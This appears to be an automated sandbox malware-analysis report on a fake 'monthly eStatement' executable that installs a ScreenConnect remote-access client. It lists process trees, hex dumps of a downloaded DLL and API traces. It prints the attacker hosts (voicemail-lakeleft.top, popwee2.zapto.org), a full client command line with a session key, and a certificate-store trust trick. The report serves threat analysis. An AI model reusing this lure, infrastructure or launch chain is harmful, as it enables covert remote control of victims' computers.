o0(,+((((,((s;*(((((-d(((((-?(((((-((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49818	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:36 UTC	97	OUT	GET /Bin/ScreenConnect.Core.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:01:36 UTC	217	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 548864 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:35 GMT Connection: close
2024-11-08 10:01:36 UTC	16167	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7a fa ad c1 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 58 08 00 00 06 00 00 00 00 00 00 ea 72 08 00 00 20 00 00 00 80 08 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 08 00 00 02 00 00 af 44 09 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELz" 0Xr D@
2024-11-08 10:01:36 UTC	16384	IN	Data Raw: 06 26 2a 1e 02 7b 6c 01 00 0a 2a 22 02 03 7d 6c 01 00 0a 2a 3a 02 28 3c 00 00 0a 02 03 28 6d 01 00 0a 2a 00 00 13 30 02 00 28 00 00 00 3c 00 00 11 03 6f 46 01 00 0a 0a 02 7b 6e 01 00 0a 2d 0f 06 28 2b 00 00 2b 2c 07 02 06 7d 6e 01 00 0a 06 02 7b 6e 01 00 0a fe 01 2a 3e 03 6f 15 07 00 06 04 6f 15 07 00 06 fe 01 2a 3e 02 03 28 6f 01 00 0a 02 15 7d 70 01 00 0a 2a 13 30 03 00 33 01 00 00 3d 00 00 11 03 2d 0a 12 01 fe 15 81 00 00 1b 07 2a 02 03 28 71 01 00 0a 0a 03 6f 15 07 00 06 02 7b 70 01 00 0a fe 01 06 5f 2c 42 02 7b 72 01 00 0a 8c 81 00 00 1b 2c 18 02 28 73 01 00 0a 02 fe 06 74 01 00 0a 73 75 01 00 0a 28 2c 00 00 2b 26 02 15 7d 70 01 00 0a 02 7c 72 01 00 0a fe 15 81 00 00 1b 12 01 fe 15 81 00 00 1b 07 2a 03 6f 15 07 00 06 02 7b 70 01 00 0a 33 07 02 7b 72 Data Ascii: &{l"}l:(<(m0(<oF{n-(++,}n{n>oo>(o}p03=-(qo{p_,B{r,(stsu(,+&}p\|r*o{p3{r
2024-11-08 10:01:36 UTC	16384	IN	Data Raw: 00 3a 02 03 28 7d 00 00 2b 28 7e 00 00 2b 26 2a 00 13 30 03 00 54 00 00 00 42 00 00 11 02 45 04 00 00 00 02 00 00 00 0c 00 00 00 20 00 00 00 16 00 00 00 2b 28 03 04 73 c6 02 00 0a 0a 2b 30 03 04 73 c7 02 00 0a 0a 2b 26 03 04 73 c8 02 00 0a 0a 2b 1c 03 04 73 94 01 00 0a 0a 2b 12 72 b9 0c 00 70 02 8c b5 00 00 02 14 73 c9 02 00 0a 7a 06 2a 5a d0 8e 00 00 1b 28 3c 01 00 0a 02 28 ca 02 00 0a a5 8e 00 00 1b 2a 9e 03 02 7e d3 05 00 04 25 2d 17 26 7e d2 05 00 04 fe 06 a7 0e 00 06 73 cb 02 00 0a 25 80 d3 05 00 04 28 7f 00 00 2b 2a 00 1b 30 01 00 25 00 00 00 1e 00 00 11 02 28 cc 02 00 0a 2d 0a 12 00 fe 15 8e 00 00 1b 06 2a 00 03 6f 08 02 00 0a 0a de 07 02 28 2d 01 00 0a dc 06 2a 00 00 00 01 10 00 00 02 00 13 00 09 1c 00 07 00 00 00 00 3a 02 03 28 e9 04 00 06 28 80 Data Ascii: :(}+(~+&0TBE +(s+0s+&s+s+rpszZ(<(~%-&~s%(+0%(-o(-:((
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 00 d4 00 00 11 02 03 6f 3a 04 00 0a 0a 06 15 33 0a 12 01 fe 15 b3 01 00 1b 07 2a 02 16 06 6f 86 03 00 0a 02 06 17 58 6f f2 02 00 0a 28 59 00 00 2b 73 39 04 00 0a 2a fe 02 25 2d 06 26 7e 98 01 00 0a 03 6f 8c 01 00 0a 7e e5 05 00 04 25 2d 17 26 7e d2 05 00 04 fe 06 b9 0e 00 06 73 9f 02 00 0a 25 80 e5 05 00 04 28 b3 00 00 2b 28 6e 04 00 06 28 72 00 00 2b 2a 6e 03 0f 00 28 14 04 00 0a 81 8e 00 00 1b 04 0f 00 28 15 04 00 0a 81 8f 00 00 1b 2a 3e 1f fe 73 9a 0f 00 06 25 02 7d a2 06 00 04 2a ae 02 16 16 16 16 73 27 03 00 06 7e d1 05 00 04 25 2d 13 26 14 fe 06 44 03 00 06 73 3b 04 00 0a 25 80 d1 05 00 04 28 d4 00 00 2b 2a 82 02 28 d5 00 00 2b 03 28 d5 00 00 2b 04 2d 04 16 6a 2b 02 15 6a 28 4c 05 00 06 28 d6 00 00 2b 2a 26 02 03 66 5f 04 03 5f 60 2a 76 02 28 d5 00 Data Ascii: o:3oXo(Y+s9%-&~o~%-&~s%(+(n(r+n((>s%}s'~%-&Ds;%(+(+(+-j+j(L(+&f__`v(
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 00 fd 00 00 00 1f 01 00 11 1f 12 8d b8 00 00 01 25 16 72 e8 13 00 70 a2 25 17 02 28 54 07 00 06 28 56 0b 00 06 a2 25 18 72 fe 13 00 70 a2 25 19 02 28 56 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1a 72 10 14 00 70 a2 25 1b 02 28 58 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1c 72 22 14 00 70 a2 25 1d 02 28 5a 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1e 72 34 14 00 70 a2 25 1f 09 02 28 5c 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1f 0a 72 32 13 00 70 a2 25 1f 0b 02 28 5e 07 00 06 28 56 0b 00 06 a2 25 1f 0c 72 48 14 00 70 a2 25 1f 0d 02 28 60 07 00 06 0b 12 01 fe 16 2c 01 00 02 6f 43 00 00 0a a2 25 1f 0e 72 68 14 00 70 a2 25 1f 0f 02 28 62 07 00 06 0c 12 02 fe 16 2d 01 00 02 6f 43 00 00 0a a2 25 1f 10 72 80 14 00 70 a2 25 1f 11 02 28 64 07 00 06 0d 12 03 28 2f 05 00 0a Data Ascii: %rp%(T(V%rp%(V(%rp%(X(%r"p%(Z(%r4p%(\(%r2p%(^(V%rHp%(`,oC%rhp%(b-oC%rp%(d(/
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 28 f5 01 00 06 6a 58 7d d8 03 00 04 02 02 7b d9 03 00 04 7e 2a 06 00 0a 28 81 01 00 2b 2a 00 00 00 13 30 03 00 29 00 00 00 51 01 00 11 02 7b d9 03 00 04 0a 06 0b 07 03 28 2b 06 00 0a 74 4f 00 00 1b 0c 02 7c d9 03 00 04 08 07 28 82 01 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 03 00 29 00 00 00 51 01 00 11 02 7b d9 03 00 04 0a 06 0b 07 03 28 2d 06 00 0a 74 4f 00 00 1b 0c 02 7c d9 03 00 04 08 07 28 82 01 00 2b 0a 06 07 33 df 2a 56 02 28 36 0a 00 06 02 03 7d da 03 00 04 02 04 7d db 03 00 04 2a 1e 02 7b da 03 00 04 2a 1e 02 7b db 03 00 04 2a 5a 03 02 28 3e 0a 00 06 5a 1e 28 19 04 00 06 02 28 3f 0a 00 06 58 2a 86 02 03 04 28 3d 0a 00 06 02 05 75 98 00 00 02 7d dc 03 00 04 02 05 75 97 00 00 02 7d dd 03 00 04 2a 86 02 03 28 63 01 00 0a 03 2c 16 02 7b dc 03 00 04 28 Data Ascii: (jX}{~(+0)Q{(+tO\|(+30)Q{(-tO\|(+3V(6}}{{Z(>Z((?X(=u}u}*(c,{(
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 06 6f 11 00 00 0a 2d d2 de 0a 06 2c 06 06 6f 10 00 00 0a dc 2a 01 10 00 00 02 00 07 00 32 39 00 0a 00 00 00 00 1b 30 06 00 44 00 00 00 79 01 00 11 03 6f 16 07 00 0a 0a 2b 26 06 6f 17 07 00 0a 0b 07 04 07 6f 0a 0c 00 06 02 05 07 6f 09 0c 00 06 28 0a 09 00 06 6f 0d 0c 00 06 28 02 0c 00 06 06 6f 11 00 00 0a 2d d2 de 0a 06 2c 06 06 6f 10 00 00 0a dc 2a 01 10 00 00 02 00 07 00 32 39 00 0a 00 00 00 00 b2 02 28 3c 00 00 0a 02 03 7d 3d 04 00 04 02 04 7d 3e 04 00 04 02 05 7d 3f 04 00 04 02 0e 04 7d 40 04 00 04 02 0e 05 7d 41 04 00 04 2a 1e 02 7b 3d 04 00 04 2a 1e 02 7b 3e 04 00 04 2a 1e 02 7b 3f 04 00 04 2a 1e 02 7b 40 04 00 04 2a 1e 02 7b 41 04 00 04 2a 00 00 00 1b 30 02 00 47 00 00 00 2a 00 00 11 7e 1b 07 00 0a 2d 3a 7e 1c 07 00 0a 0a 06 28 2c 01 00 0a 7e 1b 07 Data Ascii: o-,o290Dyo+&ooo(o(o-,o29(<}=}>}?}@}A{={>{?{@{A0G*~-:~(,~
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 00 06 04 3a 6a ff ff ff 2a 0a 17 2a 0a 17 2a 0a 17 2a 0a 17 2a 06 2a 00 00 13 30 05 00 1c 00 00 00 08 00 00 11 05 0e 04 8e 69 0e 05 59 28 60 01 00 0a 0a 03 04 0e 04 0e 05 06 28 32 02 00 0a 06 2a 1a 73 6a 01 00 0a 7a 1e 02 28 3c 00 00 0a 2a 2e 73 ac 0d 00 06 80 32 05 00 04 2a 1e 02 28 3c 00 00 0a 2a 32 02 7b 33 05 00 04 6f 42 01 00 06 2a 1e 02 28 3c 00 00 0a 2a 36 03 02 7b 7f 01 00 0a 6f 7b 01 00 0a 2a 1e 02 28 3c 00 00 0a 2a 36 03 02 7b 88 01 00 0a 6f 7b 01 00 0a 2a 2e 73 b5 0d 00 06 80 38 05 00 04 2a 1e 02 28 3c 00 00 0a 2a 22 03 04 28 5d 02 00 06 2a 22 03 04 28 63 02 00 06 2a 1e 02 28 3c 00 00 0a 2a 00 00 13 30 03 00 1d 00 00 00 b0 01 00 11 02 7b 3b 05 00 04 03 16 28 ef 01 00 2b 0a 12 00 1f 64 28 7a 08 00 0a 6f 36 02 00 06 2a 00 00 00 13 30 03 00 1b 00 Data Ascii: :j*****0iY(`(2sjz(<.s2(<2{3oB(<6{o{(<6{o{.s8(<"(]"(c(<0{;(+d(zo60
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 07 00 04 28 56 06 00 06 8c da 02 00 02 2a 1e 02 28 3c 00 00 0a 2a 36 02 7b 2f 0a 00 0a 16 6f 30 0a 00 0a 2a 36 02 7b 2f 0a 00 0a 17 6f 30 0a 00 0a 2a 1e 02 28 3c 00 00 0a 2a 4a 02 7b 22 05 00 0a 02 7b 23 05 00 0a 28 31 0a 00 0a 2a 1e 02 28 3c 00 00 0a 2a 4a 02 7b 27 05 00 0a 02 7b 28 05 00 0a 28 31 0a 00 0a 2a 2e 73 0b 10 00 06 80 25 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 1e 03 6f 22 07 00 06 2a 1e 03 6f 43 00 00 0a 2a 2e 73 0f 10 00 06 80 28 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 1e 03 6f 43 00 00 0a 2a 2e 73 12 10 00 06 80 2a 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 22 0f 01 28 52 0b 00 06 2a 3a 0f 01 fe 16 4e 01 00 02 6f 43 00 00 0a 2a 2e 73 16 10 00 06 80 2d 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 3a 0f 01 fe 16 c4 00 00 02 6f 43 00 00 0a 2a 1e 02 28 3c 00 00 0a 2a Data Ascii: (V(<6{/o06{/o0(<J{"{#(1(<J{'{((1.s%(<o"oC.s((<oC.s(<"(R:NoC.s-(<:oC(<
2024-11-08 10:01:37 UTC	16384	IN	Data Raw: 01 f7 02 01 00 10 00 4c b0 00 00 ad 3d 01 00 45 00 8d 01 fb 02 09 01 10 00 89 2e 01 00 ad 3d 01 00 6d 00 8d 01 fc 02 a1 00 10 00 48 26 00 00 ad 3d 01 00 00 00 90 01 03 03 81 01 10 00 fd 2b 01 00 ad 3d 01 00 35 00 90 01 04 03 01 01 00 00 a0 6a 01 00 ad 3d 01 00 c5 00 90 01 05 03 01 01 00 00 00 8e 00 00 ad 3d 01 00 c5 00 96 01 05 03 09 01 10 00 ba 36 01 00 ad 3d 01 00 6d 00 9c 01 05 03 09 01 10 00 6c 50 01 00 ad 3d 01 00 6d 00 a0 01 0d 03 09 01 10 00 4f bc 00 00 ad 3d 01 00 6d 00 a2 01 1b 03 09 01 10 00 1c 3b 01 00 ad 3d 01 00 6d 00 a4 01 26 03 09 01 10 00 12 00 01 00 ad 3d 01 00 6d 00 a8 01 4d 03 81 01 10 00 52 3b 01 00 ad 3d 01 00 35 00 ab 01 61 03 01 20 10 00 84 e3 00 00 ad 3d 01 00 35 00 ad 01 6a 03 01 20 10 00 d3 34 01 00 ad 3d 01 00 35 00 b0 01 82 03 Data Ascii: L=E.=mH&=+=5j==6=mlP=mO=m;=m&=mMR;=5a =5j 4=5

Target ID:	0
Start time:	05:00:59
Start date:	08/11/2024
Path:	C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe"
Imagebase:	0x9a0000
File size:	83'376 bytes
MD5 hash:	27BD2490FD75556AAB2DF57EA7C1147F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:01:00
Start date:	08/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Imagebase:	0x25d1b9d0000
File size:	24'856 bytes
MD5 hash:	B4088F44B80D363902E11F897A7BAC09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:01:02
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:01:02
Start date:	08/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2260 -ip 2260
Imagebase:	0xfd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:01:03
Start date:	08/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 700
Imagebase:	0xfd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:01:03
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:01:03
Start date:	08/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:01:40
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe"
Imagebase:	0xba0000
File size:	601'376 bytes
MD5 hash:	20AB8141D958A58AADE5E78671A719BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:01:40
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Imagebase:	0x7ff6068e0000
File size:	95'520 bytes
MD5 hash:	361BCC2CB78C75DD6F583AF81834E447
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:01:40
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1"
Imagebase:	0x9b0000
File size:	95'520 bytes
MD5 hash:	361BCC2CB78C75DD6F583AF81834E447
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:01:41
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "d9b9f156-2a83-4b1f-b5ba-62c20ee02a77" "User"
Imagebase:	0x990000
File size:	601'376 bytes
MD5 hash:	20AB8141D958A58AADE5E78671A719BF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	1464
Total number of Limit Nodes:	4

Executed Functions

Function 009A1000 Relevance: 54.4, APIs: 27, Strings: 4, Instructions: 199
encryptionmemorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000000,00000104), ref: 009A1016
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 009A1025
CertOpenSystemStoreA.CRYPT32(00000000,TrustedPublisher), ref: 009A1032
LocalAlloc.KERNELBASE(00000000,00040000), ref: 009A1057
LocalAlloc.KERNEL32(00000000,00040000), ref: 009A1063
CryptQueryObject.CRYPT32(00000001,00000000,00000400,00000002,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 009A1082
CryptMsgGetParam.CRYPT32(?,0000000B,00000000,?,?), ref: 009A10B2
LocalAlloc.KERNEL32(00000000,?), ref: 009A10C5
LocalAlloc.KERNEL32(00000000,00002000), ref: 009A10F4
CryptMsgGetParam.CRYPT32(?,0000000C,00000000,00000000,00002000), ref: 009A110A
CertCreateCertificateContext.CRYPT32(00000001,00000000,00002000), ref: 009A111A
CertAddCertificateContextToStore.CRYPT32(?,00000000,00000001,00000000), ref: 009A112D
CertFreeCertificateContext.CRYPT32(00000000), ref: 009A1134
LocalFree.KERNEL32(00000000), ref: 009A113E
LocalFree.KERNEL32(00000000), ref: 009A115D
CryptMsgGetParam.CRYPT32(?,00000009,00000000,00000000,00040000), ref: 009A116E
CryptMsgGetParam.CRYPT32(?,0000000A,00000000,?,00040000), ref: 009A1182
CertFindAttribute.CRYPT32(1.3.6.1.4.1.311.4.1.1,00000000,?), ref: 009A1198
CertFindAttribute.CRYPT32(1.3.6.1.4.1.311.4.1.1,?,?), ref: 009A11A9
LoadLibraryA.KERNELBASE(dfshim), ref: 009A11BA
GetProcAddress.KERNEL32(00000000,ShOpenVerbApplicationW), ref: 009A11C6
Sleep.KERNELBASE(00009C40), ref: 009A11E8
CertDeleteCertificateFromStore.CRYPT32(?), ref: 009A120B
CertCloseStore.CRYPT32(?,00000000), ref: 009A121A
LocalFree.KERNEL32(?), ref: 009A1223
LocalFree.KERNEL32(?), ref: 009A1228
LocalFree.KERNEL32(?), ref: 009A122D

Strings

ShOpenVerbApplicationW, xrefs: 009A11C0
dfshim, xrefs: 009A11B5
1.3.6.1.4.1.311.4.1.1, xrefs: 009A1193, 009A11A4
TrustedPublisher, xrefs: 009A102B

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Local$Cert$Free$AllocCrypt$CertificateParamStore$Context$AttributeFind$AddressCloseCreateDeleteFileFromLibraryLoadModuleNameObjectOpenProcQuerySleepSystem
String ID: 1.3.6.1.4.1.311.4.1.1$ShOpenVerbApplicationW$TrustedPublisher$dfshim
API String ID: 335784236-860318880
Opcode ID: de6a27f127b36e8f6a689e39efa9c684e3a5ab55a2bd0d08c27304c94c7a78cc
Instruction ID: 4be58e80b965cb0c1b48d492ff302a3de331fdae0322a881d0f5cc0ceab26856
Opcode Fuzzy Hash: de6a27f127b36e8f6a689e39efa9c684e3a5ab55a2bd0d08c27304c94c7a78cc
Instruction Fuzzy Hash: 75618C71A54228AFEB219B90DC49FAFBBB8EF4AB50F110014FA14B7291C7719901DBE4

Non-executed Functions

Function 009A4573 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 009A466B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 009A4675
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 009A4682

Strings

kz]G, xrefs: 009A457E

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: kz]G
API String ID: 3906539128-1940436402
Opcode ID: b7761ee4ac3aec242c630eaf93f6602c06d88cdbdabc72fd253b241126aefe35
Instruction ID: 005e373a4e3f1c229e44ec2fe1e1aaf9c215d41be3e01fcae0ba7481674550da
Opcode Fuzzy Hash: b7761ee4ac3aec242c630eaf93f6602c06d88cdbdabc72fd253b241126aefe35
Instruction Fuzzy Hash: 7C31D67491122C9BCB21DF64DD8879DBBB8BF49310F5041DAE41CA7261E7709F858F85

Function 009A191F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 009A192B
IsDebuggerPresent.KERNEL32 ref: 009A19F7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009A1A10
UnhandledExceptionFilter.KERNEL32(?), ref: 009A1A1A

Memory Dump Source

Source File: 00000000.00000002.2258333372.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2258313163.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258351459.00000000009AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258370362.00000000009B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2258389168.00000000009B3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 0db09eb4297cbc77bd692f9a563afad21cf43259592abcdedd9a1d278d5542cf
